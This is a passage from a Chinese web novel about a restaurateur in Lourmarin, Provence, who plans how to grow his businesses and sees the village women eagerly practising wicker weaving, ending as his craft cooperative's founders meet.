皮尔卡丹喜欢在吕贝隆投资房产的消息大家都知道,每过几个月《普罗旺斯日报》就要报道一下这位老爷子的消息。 去哪儿玩了,吃了什么,会见谁了等等。 吕贝隆是这位著名设计师的第二故乡,他的后半生几乎都在这里度过。 皮尔卡丹晚年每周都会在拉克斯特的某一间咖啡厅出现,被人认出还会和对方聊几句,甚至有人通过这个途径找他申请到了创业投资。 与老卡尔的冷静截然相反,弗雷迪兴奋了一下午,他迫切的问路易: “路易,你知道夏洛特·维吉妮来看的是哪栋房子吗?” 卢尔马兰空置的房产有很多,大多集中在村子外围的区域。 那个范围太大了,想知道是哪栋只能求助路易。 路易微笑着回: “夏洛特·维吉妮来看的19世纪庄园距离村中心8公里,马上就要到古德村了,那里有两个互相独立的宴会厅、比罗南家还大的工作室、两个游泳池和一个私人酒窖,前屋主把这处房产打理的非常好,我们猜它能卖出小吕贝隆今年以来最高的价格。” “是你或者你的同事带她去看的吗?”弗雷迪激动的问。 美丽夏洛特·维吉妮是他的偶像! 如果路易能见到她,无论付出什么,弗雷迪都要磨着路易带他去见一见那位法国著名艺人。 路易尴尬的耸肩: “当然不是,她的置业顾问应该是从阿维尼翁来的,我们可没机会接触这么高级的客户,难道你认为夏洛特·维吉妮会从《海岸》上找房产信息吗?” 阿兰一边给大家分面包一边问: “房子那么远,那她来看房子的消息怎么会传到村里呢?你没看到那个景象,我店里的客人付完钱都没来及等下一炉面包做好就去看热闹了,我还以为夏洛特·维吉妮要看的房子在村子附近,结果过了半个多小时他们回来说,根本不知道洛特·维吉妮在哪里,所有人像‘无头苍蝇’一样跑来跑去。” 路易吃了一口最近非常喜爱的蜂蜜面包,微笑着说: “我猜是某些别有用心的家伙,故意把消息传出去的?” “该死的!”餐桌的不同方位同时传出了三道咒骂声。 “这样一宣传,卢尔马兰的房价要更高了。”西奥森难掩气愤的说。 西奥森的弟弟乔伊的表情也很难看,他看着自己新婚不久的妻子说: “难道要把鲁西永的房子卖了才能买这里的吗?” 卢尔马兰的房价已经很贵了,受明星效应的影响一定会越来越贵。 两兄弟现在买起来就很艰难了,这样下去只会更加艰难。 罗南用力握了下酒杯: “那个该死的家伙目光太短浅了,为了一时的利益让我们这么多人都背上了压力,这是有多着急卖房子啊?” 老卡尔的两个儿子抱怨房价无可厚非,这两个家伙在卢尔马兰没有住处,还在‘啃老’呢。 但罗南跟着骂什么? “你也很在意这件事?”路易问罗南,“你是想卖房子,还是想买房子?” 罗南不知道商业街二期和三期的消息是否需要保密,摇了摇头,没有说什么。 但桌尾的老卡尔扶着拐杖看罗南,笑眯眯的问: “你想买的是店铺吧?” “店铺?什么店铺?”路易、罗天海、弗雷迪和阿兰等人好奇的停下叉子。 卢尔马兰没有空置店铺了啊,那些想要来这里做生意的外村人急的都要‘摆地摊’了。 卡尔知道政府的内部消息并不奇怪,即使知道布兰科硬塞了三个商铺给罗南也不稀奇。 布兰科经常向这位前辈取经,遇到拿不准的事情也会去咨询他的建议。 但西奥森也‘不以为然’的说: “商业街的二期和三期啊,你们不知道吗?马上就要招商了,这次是面向全部吕贝隆的区域进行招商呢。” “卢尔马兰要建商业街的二期和三期了?”弗雷迪吃惊于自己居然不知道这么大的消息,“在哪里?” 老卡尔的小儿子乔伊指了一个方向: “就在商业街附近,那里一直在施工你们没看到吗?” 路易吃惊的说: “我以为那里在建什么活动场馆呢” “活动场馆有,商铺也有,还有药房和学校。”老卡尔慈祥的对大家说,“卢尔马兰要扩建了,扩建30%左右,未来会有更多便民设施出现在这里。” 罗南吃惊的问老卡尔: “可以说了吗?我的意思是确定了?” 老卡尔扶摸起他的拐杖: “确定了,布兰科已经带着‘好消息’回卢尔马兰了。” “这可真是个好消息啊!”罗南兴奋的拍了下手。 布兰科这么快就带着好消息回来,还通知了老卡尔,说明旅游局给的数字一定是非常满意的。 由于老卡尔的年纪原因,布兰科对他向来是报喜不报忧的态度。 西奥森笑着对大家说: “布兰科邀请我来卢尔马兰的药房做医师,我只是稍微犹豫了一下就答应了,卢尔马兰的第一个医师.嗯,我想这是对我的一种肯定。” 乔伊的表情也缓和了下来,看着父母说: “布兰科邀请我去学校教书,虽然那所学校规模很小,但我非常乐意回到家乡工作,我们也是被逼无奈才离开卢尔马兰以前这里没有我和西森奥擅长做的事情,如果有机会,谁又想要远离家乡呢?我在这里生活了整整18年,大学才离开。” 弗雷迪兴奋的举起杯子: “欢迎在外的孩子们回到卢尔马兰的怀抱!” “欢迎欢迎!” “你们能回来,我们真的太开心了,以后聚会更加热闹了亲爱的!” 即使老卡尔和他的儿子不说,村民们也很快知道了卢尔马兰兴建商业街二期三期和扩建的消息。 因为希尔维在几天后便开始了招商工作。 这一次,那些苦于在卢尔马兰没有商铺的投资者们终于可以找到满意的地方了。 每天都有来自普罗旺斯各地的商人去政府咨询开店的问题。 与此同时,先一步预定好了店铺的罗南已经开始着手做其他事情了。 卢尔马兰的房价会越来越高是一个必然的事实,以罗南手里的资金想买下一个商铺都很难。 想要尽快买下全部三个商铺,就要让赚钱的速度能赶上房价爬升的速度。 罗南仔细盘了盘手里的几个营生。 首先是餐厅,这应该是罗南最稳定的收入,不过现在餐厅的接待量已经来到了极限,不可能再有什么提升。 第二个是斯特斯加粉红酒庄。 新斯特斯加还没有开始酿酒,无法靠卖酒赚钱,而旅游项目也很难再赚更多,人手有限,连特奥都去当导游了。 这里也没有办法做什么增值。 第三个是集市。 罗南原本想直接把这部分忽略,因为每个月集市收入的那1、2万法郎对罗南来说太‘微乎其微’了。 不过这个时候,罗南又想到了托儿走之前给的那个提议——可以参加更多的集市给酒庄和餐厅做曝光。 一个集市赚的少,但架不住数量多啊。 这里的问题是,罗南需要拉一个小团队专门做这件事,不能再寄托给餐厅的那些妇女们,如果人都去了集市,餐厅又要招新人了。 同时,还需要找一个熟悉集市生意的人做负责人,替罗南打理这部分的事情。 接下来是松露生意。 下一个松露采摘季遥遥无期,人工培育松露实验林此刻是‘投入’的阶段,短时间内赚不到钱。 不过好消息是,罗南这次的投入可以用‘微小’来形容,在秋季宿主树入土前只需要投入进去25万法郎就可以。 正当罗南要把这摊子事划到‘赔钱货’那一边时,他的脑海里出现了一个人。 朱莉特曾经对罗南说过,可以在卢尔马兰附近弄一片人工培育松露实验林,一点点面积就可以,只为把那里包装成‘景点’给游客去参观。 罗南仔细算了一下,如果只需要一点点面积,买地的成本不会太多,宿主树和育苗又有森林局和农业局提供,他只需要花土地改良的费用和未来每年的维护费用。 还是由于土地面积不大,这些维护费用应该也不会太贵。 相较于葡萄园,黑松露更加神秘,黑松露人工培育林就更加稀缺了。 罗南猜,这个旅游项目也许会比葡萄园更加受欢迎。 因为黑松露的采摘季在冬天。 冬天的普罗旺斯可没有什么可以游玩的东西,吃的东西也贫瘠。 这片试验林说不定能把卢尔马兰的冬季旅游市场撕开一个口子。 但有一个棘手的问题是,做商业用途,费尔明教授是否愿意派人过来做实验不确定,因为他们的‘试验田’合作在另一片土地上。 如果费尔明教授不管这里,罗南可能需要自己打理了。 但这也不是坏事,自己上手很多事情了解的更加清楚,遇到问题就去问呗,一整个研究院都是罗南的后盾。 小小的投入一笔,可以换来一个小众、高潜力的旅游项目,这笔投入值得。 最后一个营生是卢尔马兰手工艺合作社。 这是罗南这个阶段最寄予厚望的生意了。 和餐厅的上限固定不同,编织生意的上限还差的远着呢。 什么时候妇女们不是‘明争暗斗’的抢活儿干,而是抱怨巴蒂给的单子太多、干不过来了极限才差不多到了。 不过卢尔马兰的妇女们干不完订单,罗南就去其他村子找人,教他们编织这样看来,这门生意根本没有上限可言啊。 是罗南对它的开发太浅了! 最简单的提升方法,罗南多设计些样式就一定会多些订单。 想完以上这些,觉得没有遗漏后,罗南开始总结接下来的几个小目标。 “去摩纳哥前更新一批编织样式,距离上次‘上新’有些日子了,该拿出些新东西给‘上帝’们看看了,再找个时间和桑德琳、巴蒂和卡福聊聊,看看有没有其他能在短时间内提升的办法,我们几个碰头的机会还是太少了。” “谁能办参加集市的事情呢?伊内斯?朱莉特?还是略伦特?嗯到了摩纳哥先问问伊内斯吧,看看她有没有什么门路,同时在卢尔马兰组织一个可以专门去集市的队伍。” “森林土地的买卖还是要去找布鲁诺,他们好像要搬来了?我记得就在摩纳哥大奖赛之后?到时候让布鲁诺给我找一片距离卢尔马兰村中心近、价格还适合的地,等地找到就去改土壤,同时询问费尔南教授的态度,再通知布兰科和昆西,看看他们愿不愿意给一些‘帮助’,对了,不要忘记做这些之前先接触一下朱莉特,她一定可以帮我拿到‘帮助’!” 梳理完目标后,罗南重重叹了一口气。 “最后,招人,招人,还是招人!每一件事都缺人,之前卢尔马兰的村民没有工作可做,未来不会找不到干活的人了吧?” 第454章 上进的妇女们 总结了目标,下一步就是一个一个去实现它们。 第一个要解决的必须是卢尔马兰手工艺合作社的业务升级。 这个没有上限的营生目前发展太落后了。 第二天稍晚的时候,罗南去了巴蒂的院子。 巴蒂白天要接待来自世界各地的游客,并带他们体验编织工艺,罗南只能等游客们走了之后过来这里。 这一次来的目的是通知巴蒂店铺要‘上新’的消息,让巴蒂跟着自己一起想想新样式。 “这次我们不局限于做椅子了,可以做点别的家具,例如柜子和桌子,慢慢把家具店的概念打出去,等旗舰店开起来可以用最快的速度步入正轨。” 老卡尔和希尔维都说过,商业街二期和三期的建设优先级提前了,工程也加速了。 ‘卢尔马兰手工艺合作社’店铺的准备也要赶紧筹备起来。 现在普罗旺斯人对这个手工组织的的第一印象还是卖饰品的,需要赶紧扭转这个固有认知。 这个时候也顾不上阿普特那个线下店铺的面积和大小了,尽可能的多塞进去些家具是主要目的。 “我之前就提醒你可以卖卖其他款式了。”巴蒂对罗南的提议永远是支持态度,他就是罗南身后最强有力的后盾,还会提供足够的情绪价值,“已经不止一个去你家参观过的人说喜欢那个小柜子,我相信那一定会成为我们的主打款式。” 巴蒂指的是罗南家的边柜,就是朱莉特搬走的那个。 后来罗南又做了一个,被特奥以‘安娜爱不释手’为由拿回了家里。 现在罗南家里摆着的是做的第三个了。 “我们一起多设计些样式。”罗南想到关于的边柜的故事,信心足了一些,“这次没有什么数量上限,也没截止日期,想要把旗舰店填满,需要的东西太多了,这是个长期任务,如果你闲下来和我一起。” 布兰科承诺给罗南一个地段好、面积大的店铺,毕竟‘卢尔马兰手工艺合作社’和斯特斯加一样是可以影响卢尔马兰脸面的东西。 想要把那里填满,可有的忙了。 估计在最新一期商业街落成之前都需要不停的设计。 论编织技术,巴蒂比罗南强得多的多。 他可以做出许多罗南现阶段能力做不出来的好看东西。 罗南的优势是记得许多明星款编织家具的样式。 两个人各有优势,一起做事半功倍。 不过罗南和巴蒂都很忙碌,两个人只能挤时间做这件事了。 但这一次巴蒂没有‘支持’罗南,而是提出了一个建议: “想要把一整个旗舰店填满可不是一件容易的事情,靠我们两个可以吗?尤其你和我没有办法把全部的精力放在这里,为什么不让妇女们一起加入进来呢?” “你的意思是,让妇女们也来设计家具样式?”罗南只是短暂的思考了一秒便摇头道,“我不是不相信她们的能力,但做家具对她们来说,会不会有些‘超纲’了?设计家具不止是要看技术,还要看审美,万一她们忙碌了半天,做出来的东西用不上.会不会太浪费时间了?” 巴蒂乐观的说: “她们可以设计花环、饰品和灯具的样式,就一定可以胜任设计家具的任务罗南,请你相信她们,她们缺的只是一点点指引,没有人一开始就会高超的技术,也没有谁一开始就有高端的审美,我们可以教她们啊,我愿意给她们这个机会。” 罗南非常理解巴蒂这样说的初衷。 在他的心里,卢尔马兰这些做编织的妇女是世界上最美丽、最聪明、最手巧、最完美的女人们。 是值得被捧在手心的里的一颗颗星星。 罗南也愿意给她们这个机会,但还有很实际的东西摆在面前呢: “你我愿意,但你确定她们愿意接下这个任务吗?家具不是花环,几个小时就做出来,一个新的家具样式说不定要设计好几天,有这个时间她们可以赚不少钱了,我相信你和我去做动员,妇女们一定会答应下来,可我担心她们心里其实是不愿意的。” 罗南也打过工。 如果老板给他安排了一个既浪费时间又耽误他赚钱,难度还很高的工作,他可不愿意接,一点都不愿意。 巴蒂自豪的用大拇指指身后,那样子比他在戈尔德当着几十人的面介绍自己的作品还神气: “相信我,这些心地善良的妇女一定会愿意接下这个任务,你不知道.她们一个个有多上进。” 罗南半信半疑的侧了下脑袋,似乎在评估这句话的可信度有多少。 巴蒂屈膝看了一眼外面的天色,笑着对罗南说: “喏,你出去看看就知道了。” 妇女们有的在家干活,有的去巴蒂的院子干活。 只看今天巴蒂家里的人多不多。 以前不管有多少人去,大家都愿意在那院子里挤着坐。 一边干活一边聊天多有意思啊。 后来桑德琳把巴蒂的院子包装成了一个旅游参观项目,院子里每天人来人往的。 虽然妇女们该干什么干什么,游客们只是参观,教编织的人也是巴蒂.但为了让现场看起来有秩序,见院子里的人太多,大伙就自然而然的回去了。 不过游客离开后,院子里的人反而多了起来——妇女们又搬着板凳回来了。 从巴蒂的屋内出来,看着满满一院子熟悉的面孔,罗南有一刹那的错愕。 这是他第一次看到这情景,平时这个时间他已经去餐厅吃晚饭了。 正因如此,罗南才会格外的好奇。 他理解妇女们喜欢凑在一起干活,但她们不用回家吃饭吗? “约瑟芬,都这个时间了,你还不回去吗?”罗南蹲到了约瑟芬的身边。 约瑟芬是卢尔马兰妇女中毫无疑问的‘编织冠军’,每个月她的订单收入都是最高的。 原先因为亨利的原因,妇女们不喜欢和约瑟芬说话,但现在妇女们对她的态度非常热情,因为她是许多人的编织引路人——去年圣诞节前,为了赚到花环那波红利,罗南把她邀请来和巴蒂一起做老师。 不过约瑟芬见到罗南,永远是一副‘学生’的样子。 因为亨利无数次在家里说过——没有罗南先生就没有他们现在的日子,罗南先生永远是他们的最感激的人。 约瑟芬放下手里的藤蔓和编制工具,笑容撑开了她脸上的风霜和痕迹: “我吃完才来的,罗南先生。” 约瑟芬的性格安静,不喜欢说话,一个人坐在院子的角落里,手里快速编织着,和其他三五成群妇女们的状态还不太一样。 其实罗南之前就想问她——既然来巴蒂的院子不是为了和其他人聊天,那为什么要来这次做编织呢? 回家做不是一样? 他指着地上的藤蔓问约瑟芬: “你每天都来吗?为什么不在家里做呢?” 约瑟芬露出腼腆的笑容: “这里人多,热闹。” “约瑟芬——”一道身影突然笼罩在罗南和约瑟芬的头顶,像是大山一样。 法比安的妻子波热抱着一个没有完成的编制灯具,她身后有一根长长的藤蔓在地上拖着,很显然是做到一半突然停下来过来的。 波热着急的问约瑟芬: “快帮我看看,这是哪里编错了,怎么和样品不一样啊?” 约瑟芬没敢伸手,抬头对波热说: “我不懂,你问罗南先生吧。” “你怎么会不懂?你每次都能指出我的问题。”波热没看明白约瑟芬的意思,傻乎乎的问。 约瑟芬紧张的低头,卢尔马兰最巧的手略显慌乱的继续着刚才的事情: “之前是乱说的。” 罗南笑着对约瑟芬说: “我都多久没有做东西了?你们每天做,肯定比我厉害,赶紧给波热看看吧,你看她多着急。” 不敢违背罗南先生的意愿,约瑟芬小心翼翼的拿过波热手里的灯具,看了几眼后说: “你学‘六角眼编’了?这个蜂窝状我之前也编不好,嗯,是这里,这里进错了.” 罗南不由得挑了一下眉毛,也认真看向波热手里的灯具。 六角眼编是编织技术里的进阶样式,相对复杂,可以通过‘进出口’不同,达到不同的结构样式,是做不规整图形的常用手法之一。 但罗南记得,他们没有卖过什么特殊样式的灯具啊。 “这是哪款灯?”罗南问波热。 波热的脸几乎贴在约瑟芬的手边,注意力都在约瑟芬的手里: “哪款都不是,是我自己做着玩的。” “你做的不是订单?”罗南吃惊的问。 法比安和罗南是兄弟,波热和罗南在私下也经常有交集,说起话来不需要过脑子,想到什么说什么: “你快给我点单子吧,我求求你了,我都要闲死了,这周只接了四个灯和一个家具!” 罗南端出了一贯使用的理由: “我说话也不好使啊,你得问巴蒂,他是负责发订单的,不过.你为什么要做这款‘六角眼编’灯?” 波热的嘴角跟着约瑟芬一起使劲,眼睛时不时还会眯一下: “练习呀,现在用不上,万一之后能用上呢?家里那么多藤蔓,又不花钱,学呗。” 约瑟芬尼停下手里的动作,左右看了看: “其实我觉得你不用改,虽然和样灯不一样,但现在也挺好看的,你就这么错着一直做下去也行,看看最后能做成什么样子的。” “收边的时候让我们一起看看啊。”距离约瑟芬最近的一个妇女插话进来,“这种不规则的图形,收边的时候可难了。” 编织艺术品的技巧复杂,根据做出来的形状不同,最后的收边动作也有许多种不同的处理。 球形作品通常使用缠绕收口法,片状的东西用缝合收口法,还有的会选择无痕处理,在编织的过程中就把边收了。 总之,越是复杂的样式收边时越困难,需要耗费的时间就越多。 “我来帮你收边!我收边最厉害了!”皮雷抱着板凳出现,还没进院子,就开始大声嚷嚷,“怎么,不信吗?你问问约瑟芬,好几次她收不好的边是我帮她弄的!” 约瑟芬笑着摇头: “是是是,皮雷收边比我厉害。” 罗南回头,问那老家伙: “你怎么也来了?” 一院子妇女那么和谐,你个糟老头子坐进来干什么? 皮雷从裤子的一边口袋里拿出一块挤的不成样子的类似三明治的东西,又从另一边口袋里拿出一个小酒壶。 他抿了一口自己偷偷酿的高度蒸馏酒,立马辣的咧起了嘴: “不来让她们背着我偷偷学习吗?这些女人太卑鄙了,总是偷偷学习新的东西,原来球形灯只有十几个人会做,我一周没来,一下子有三十多个人会做球星灯了,我可不能让她们抢了我的单子!” 波热觉得皮雷聒噪,叉着腰说: “你给我闭嘴,每次你一来就乱的要死,再大声嚷嚷滚出去。” 现在派发单子的人不是皮雷了。 谁还惯着他啊? 在女人堆里工作这么幸福的事情,不好好珍惜、夹着尾巴做人,天天咋咋唬唬的给谁看呢? 你看看人家巴蒂,再看看你! 波热这么一起头,许多妇女也跟着轰皮雷,让他回家去。 只能说这老小子之前把妇女们压榨的太厉害,现在遭报应了。 皮雷的脸皮比卢尔马兰城堡的墙壁还厚。 他不仅不离开,还气焰更盛的跳起来喊: “以后我再也不帮你们收边了,我呸!谁都别来找我帮忙!忘恩负义的东西们,忘了我老皮雷之前对你们的好了!” “住嘴!” 一道威严的声音在门口出现,连听到院子的动静,想要出来劝架的巴蒂都赶紧关上了门,显然有些害怕来的那人。 阿克尼娜没有任何温度的眼睛瞪向皮雷: “再发出一点声音,带着你的板凳和藤蔓离开,以后再也别来这里。” 俗话说得好,一物降一物。 皮雷还真怕这个合作了几十年的老伙计。 他冷哼了一声,拿起了一根藤蔓,不过他的眼睛总时不时的往约瑟芬那边瞟,似乎非常关注她们做的那个东西。 当然了,其他妇女也安静了下来,继续干手里的事情。 阿克尼娜是罗南非常尊敬的女性,他主动迎了过去: “您也来了?” 阿克尼娜手里拿着板凳和未完成的作品,显然不是路过,而是也来这里干活的。 这个院子到底有什么魔力啊? 阿克尼娜对罗南露出了一个还算温和的笑容: “人多遇到的问题就多,进步也快,比在家里自己闷头做好多了。” 第455章 四大金刚聚齐 罗南在餐厅吃晚饭的时候,提起了在巴蒂院子里看到的情形。 “即使没有订单她们也去,特别积极,我看那样子大家还挺互帮互助的,氛围很棒,听说要一直待到8点半左右,快睡觉的时候才回去呢。” 通常情况下,罗南和佐伊两家人晚上会聚集在一起吃晚饭,因为小情侣的家人们几乎都在这里工作。 不过近期路易又忙了起来,下班的时间偶尔会错过晚饭时间。 维埃里也因为会考冲刺早早的吃完回家去了,所以最近佐伊家参与晚饭的只有佐伊和莉亚。 “这门手艺很适合她们。”罗天海和罗南一样,也很惊讶于妇女们的态度,但想一想又觉得合情合理,“葡萄藤没有成本,家家户户都有,这等于是‘废物再利用’,在家里放着也占地方,万一学成了什么新的样式,收入也会跟着提升。” 冯珍眉飞色舞的说: “她们肯定积极啊,以前做绣被时过的是什么日子?眼睛绣瞎了也赚不了几个钱,现在小姐妹们说说笑笑就把钱赚了,我就是脱不开身,要不然我也去了!” 罗南赶紧摆手让母亲打消这个念头: “妈妈你就算了吧,你不行,你真不行。” 罗南的父母都曾尝试着做过编织饰品,不是为了赚钱,只是为了试试。 看罗南编的那么容易,跟变魔术式的,这有什么难的? 但两人那手跟义肢似的。 脑子想的跟手做出来的完全是两码事。 罗天海稍好一些,可能因为常年在后厨工作,冯珍做一会手就抽筋了,最主要的是急性子的她没有耐心,学一会就烦了。 只能说,卢尔马兰的妇女确实很适合做编织工艺。 从十几岁开始就要缝绣被的她们练就出了一双巧手,常年低收入或者无收入,又磨出了一颗能扛得住挫折的心。 莉亚一边给大家分面,一边笑着说: “我相信即使手不巧的人,也一定会努力的去学习、去进步,可能你们很难理解工作对吕贝隆的女人们意味着什么,有赚钱的机会,我们又有多么的珍惜。” 说完,她突然放下分食意大利面的夹子,站起来小跑回后厨: “烤箱里还有东西,我去看看。” “妮可拉在后面呢,你先安心吃饭吧。”罗南对着莉亚的背影喊了一句,但回应他的只有一个快速消失的背影。 佐伊的眼神也从母亲离去的方向离开,语气复杂的说: “其实不止巴蒂那里,妈妈也很珍惜工作的机会。” 罗天海深有体会的点头: “确实,卢尔马兰人比巴黎人能吃苦,尤其是女人,餐厅每天这么忙,工作强度这么大,但我从来没听过任何一个人抱怨累。” 罗天海说这话是无心之举,但冯珍听到耳朵里却有点坐不住了。 她微微抬起屁股,也想起来找点事情干,看了一眼收银台后面的人,再看了一圈井然有序的餐厅各个区域嘴角难看的压了下去。 怎么没活儿呢?! 罗天海发现了妻子的举动,意识到自己刚刚‘口无遮拦’了,接下莉亚放下的意面夹子,给妻子的盘子里又夹了一坨: “你今天辛苦了,算了那么多进货单子,多吃点。” 冯珍像少女一样开心扬起嘴角。 嗯,心里舒服多了。 吃完晚饭,罗南惯例和佐伊去夜游,消消食。 在卢尔马兰玩了两圈,把佐伊送回家后,罗南再次返回餐厅,意外发现莉亚还在后厨忙碌。 事实上,在几个月前,罗南就着手给罗天海、冯珍和莉亚‘减负’了。 后厨有好几个值得信任的厨师,即使罗天海不在,也能招待好每天的顾客。 在管理方面,罗天海的担子也轻了不少,聪明伶俐的伊莎贝尔在许多事情上起到了不小的作用,排班和每日的早会她都可以独立组织完成。 在罗天海陪罗南去梅纳村参加面包大赛的那几天,餐厅一切井然有序,他已经不是那个无法脱身的餐厅大脑了。 账务方面,罗南也给冯珍找了个帮手,不用死用她一个人,而且维埃里也可以担任财务的工作,这小子对数字特别敏感,天生就是个做生意的人。 甜品一直以来都是餐厅非常重要的组成部分,去年刚开的时候只有两个人,莉亚和妮可拉,随着甜品艺术在普罗旺斯打响了知名度,后期面包大赛也收获来了不少的关注度,经历两次扩编,甜品团队已经是一个4人‘大团队’了。 要知道雅克先生的二星米其林餐厅也不过给甜品安排了4个人力。 罗南的餐厅没有雅克先生的餐厅面积大,莉亚应该是两边父母中最早一个‘解放’出来的那个。 但时至今日,除了每个月休息几天外,莉亚晚上一定是后厨最晚离开的几个人之一,有的时候比其他甜品师还晚离开呢。 “又要去考试了?”罗南走到莉亚身后问。 法国的甜品证书体系应该是全球最森严的国家之一,其余对甜品资格证相对严谨的国家还有瑞士和日本。 究其原因是几百年来传下的宫廷甜点‘血统论’,在17世纪以前,法国王室就设立了‘宫廷甜点师’这个职位,想要得此殊荣必须参与凡尔赛宫的层层考验。 1880年,法国第三共和国立法规范甜点师职业培训,CAP体系诞生。 而同样对甜品非常有研究的意大利人,在20世纪才系统化甜品培育规范。 莉亚是吕贝隆第一个拿到CAP证书的女性。 不过CAP只是甜品入门级别的证书,换算成学历,大概是中专的文凭。 只有通过这门考试,你才可以以‘甜品师’自居。 阿兰的面包店里也有一些蛋糕售卖,但他只是个‘卖面包’的,因为他没有CAP证。 据说他去考了两次,因为无法忍受那些所谓的大师在一旁指指点点,不去考了。 但拿到CAP证书只是法国甜点森严体系的第一步。 拿到CAP证书后,可以申请进阶版BP的考试,一旦拿到证书可以申请法国‘工匠名片’了。 再往后是代表大师级甜品师的BM,这个证书由法国最高级别的手工艺协会CMA颁发,参与考核者需要提交原创作品集,请注意是作品‘集’,并且有8年行业经验。 再往上是殿堂级的MQF,甜点界的‘诺贝尔奖’,每4年举办一次,最新一次的考试内容是8小时内完成12款主题甜点。 除此之外,法国还有各个细项的认证,例如巧克力大师、冰淇淋大师、糖果大师等等。 总之,只要你想,在法国甜品证书可以一直考下去,甚至考出法国,去往国际。 见莉亚晚上还不离开,罗南以为她要去考CAP的进阶证书BP,结果莉亚笑着摇头: “我又不开店,考BP干什么啊,CAP足够了。” “那你在干什么?”罗南站到她的身侧,发现莉亚正在雕花,而且是非常繁复的花纹。 罗南仔细看了两眼,觉得一阵眼熟。 虽然只有一点点神似,但他很快认出——这不是去年,他在戈尔德艺术活动准备阶段,用果干和坚果雕刻的某个图案之一吗? 刚开始做准备时,罗南的【烹饪】没有升到5级,找不到适合下刀的食材,就在这些果干和坚果上雕刻了一阵子,想要通过雕工取胜。 后来脑海里有了‘菜谱’,他就再也没这样做过,因为有了更好的创意和媒介。 “你练习这个干什么?”罗南劝阻道,“我那个时候是被逼无奈,其实根本用不上的。” 莉亚直起身子,先是揉了揉发酸的眼睛,又晃了晃腰,叹气道: “你在戈尔德展出了两个作品,好多人都是奔着吃那两个作品的同款来的咱们餐厅,但我们只能供应‘希望’,无法供应对雕工要求极高的‘相思鸟’,这件事太遗憾了。” 她很快又低下身子,认真打量自己的作品: “你马上要去参加甜品大赛,我不知道你到时候要用什么作品去参赛,但无论是什么,餐厅肯定要上同款,我得赶紧练练刀工,不能再像‘相思鸟’一样,用替代品糊弄顾客了。” ‘希望’重意境,整体工艺并不复杂,莉亚等几人都可以复刻出来,而且做的有模有样的。 时至今日,‘希望’一直是餐厅里最有特色的甜品,点的人也是最多的。 ‘相思鸟’虽然也有着非常重要的故事意义,但罗南出神入化的刀工毫无疑问是加分项——那是让雕刻大师都赞叹不已的真正艺术品。 罗南用甜品去参加活动,餐厅自然要上同款甜品。 但‘相思鸟’除了罗南没人能做出来,餐厅只能推出其他几款有‘爱情’寓意的果子甜品。 这一直是莉亚心中的一个痛处。 她还是太弱了跟不上罗南的步伐。 这个月罗南又要去参加甜品比赛,怕自己的能力跟不上,再次无法供应‘同款’,莉亚早早的就开始提升自己。 她不知如何练刀工最好。 但她记得,罗南去戈尔德之前,在坚果和果干上雕刻了好一阵子。 所以她也效仿起来了。 “没必要,没必要。”罗南连连摆手,“这里是卖甜品的,不是卖艺术品的,没必要练成那么厉害的刀工。” 罗南是有系统加持,才能在那小东西上雕刻出花纹。 莉亚这是硬雕啊.这太夸张了。 莉亚专心致志的下刀,被细小皱纹包裹的深蓝色眼睛写满专注: “快出去吧,我最近厉害好多了呢。” 罗南喋喋不休的说个没完,劝莉亚去干点别的。 莉亚不耐烦的把罗南推出去,认真的说: “你这次比赛别有什么顾虑,想做什么做什么,我一定不会给你拖后腿的。” 五月中旬,普罗旺斯的白天已经很炎热了,下午尤其严重,随便动一动就一身的汗,注重保养的女孩子从这个时候开始就要把防晒提到最高等级了。 度过炎热的下午,卢尔马兰人习惯晚上在院子里或者街道上坐一会,乘乘凉,把一天的火气降下去,才能睡的舒服。 巴黎一家人自然要紧跟卢尔马兰人的步伐,一到晚上就在院子里集合。 罗天和冯珍在后院的休息区乘凉、逗狗、吃当季的新鲜水果,罗南则在他们身边做编织家具。 就像和巴蒂讲的那样。 旗舰店开起来之前的这段日子,估计有的忙了,要不停的设计东西。 在把旗舰店装满的同时,也要把给米切兰杂志提供的拍摄场地布置的足够好看和有记忆点。 忙碌了一会,罗南突然看向了手腕上的机械手表。 他早就没有了带表的习惯,这一块是佐伊为了去摩纳哥F1大奖赛特意给他买的。 “8点。”罗南看着表盘嘀咕了一句。 他回头看向卢尔马兰村中心的方向,虽然距离很远,虽然隔着层层植物,但他的眼前似乎出现了一盏盏明亮的灯光,和一个个正在忙碌的妇女。 她们没有什么压力,也没有紧迫性,但还是主动忙碌着。 此刻,罗南一下子理解了巴蒂常常挂在嘴上的话语。 “卢尔马兰的妇女是最可爱的人,她们是我见过最美丽的女人们!” 罗南笑着低下头,认真做编织: “果然是一群可爱的女人。” 勤劳、能吃苦还可爱的女人,值得获得更多的机会。 两天后。 罗南、巴蒂、桑德琳和卡福齐聚到了巴蒂的院子里。 罗南在确定了小目标后就约了几个人的时间,说是要开个会。 这是卢尔马兰手工艺合作社成立以来,人员最齐的一次。 以前几个人也偶有碰头,但不是缺了这个,就是缺了那个。 今天,‘四大金刚’终于凑齐了! 碰头地点在巴蒂家,还是以开会的名义,这让巴蒂又紧张又兴奋的。 他一个四海为家的流浪艺人,什么时候开过这么重要的会议? 但罗南把大家凑到一起要说什么呢? 为了让众人有一个愉快的开会体验,巴蒂提前准备好了酒,还去罗南的餐厅打包了一些甜品,又去杂货铺买了零食。 “边吃边聊。”巴蒂把杯子放到每个人的面前,“哈哈,第一次开会,弄的我还挺紧张的,吃吃喝喝轻松一些。” 罗南主动给几个人倒酒: “以前是我疏忽了,其实我们几个就该定期聚到一起。” “现在也不晚啊。”卡福依然是一副‘西装暴徒’的模样,不知道跟谁学的,今天还带了副金丝边的眼镜,完完全全变成商务人士了。 桑德琳微微颔首: “以后至少1个月见一次吧。” 罗南是门面,是首席设计师。 巴蒂是供应链的核心。 卡福和他的兄弟们是卢尔马兰手工艺合作社的‘触手’,将这个代表高端和小众的工艺送到普罗旺斯的各个地区。 桑德琳则是大家的军师,她在巴黎的宝贵经验将保护这个手工艺合作社在正确的航道上航行,再偶尔扬帆加速一下。 四大金刚缺一不可! 罗南看了看其他三个人: “不如再频繁一点?每周一次周会?” 不等其余人给回复,罗南看向了一身职业打扮的桑德琳: “你说的对,卢尔马兰手工艺合作社之前的经营模式太随心所欲了,也不够清晰,不如今天我们把这件事解决了?” 第456章 大整改 罗南和桑德琳第一次见面时,这位老佛爷百货的资深售货员就对‘卢尔马兰手工艺合作社’提出过许多改进建议。 有一些罗南听取了下来,马上执行,有一些因为各种各样的客观原因暂时搁置。 这其中就有模式问题。 桑德琳犀利的提出,罗南和卡福的合作模式有很大的隐患存在,严重一些有可能会妨碍到合作社未来的发展。 